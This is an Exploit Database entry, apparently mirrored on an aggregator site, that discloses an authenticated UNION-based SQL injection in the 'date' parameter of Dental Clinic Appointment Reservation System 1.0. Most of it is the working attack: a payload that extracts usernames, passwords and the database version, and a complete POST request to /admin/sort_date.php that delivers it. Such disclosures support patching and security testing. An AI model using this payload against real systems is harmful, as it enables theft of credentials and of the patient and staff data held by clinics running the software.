Dental Clinic Appointment Reservation System 1.0 – ‘date’ UNION based SQL Injection (Authenticated)

• Exploit Database
• 14 阅读

• 作者： Mesut Cetin
  日期： 2021-05-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49861/

• # Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)
  # Date: 12.05.2021
  # Exploit Author: Mesut Cetin
  # Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
  # Version: 1.0
  # Tested on: Ubuntu 18.04 TLS
  
  # Description:
  # the 'date' POST parameter is vulnerable to UNION-based SQL Injection
  # Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc.
  # payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- -
  
  # Proof of concept:
  http://localhost/admin/sort_date.php
  
  POST /admin/sort_date.php HTTP/1.1
  Host: localhost
  Content-Length: 84
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://localhost/admin/sort_date.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
  dnt: 1
  sec-gpc: 1
  Connection: close
  
  date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort=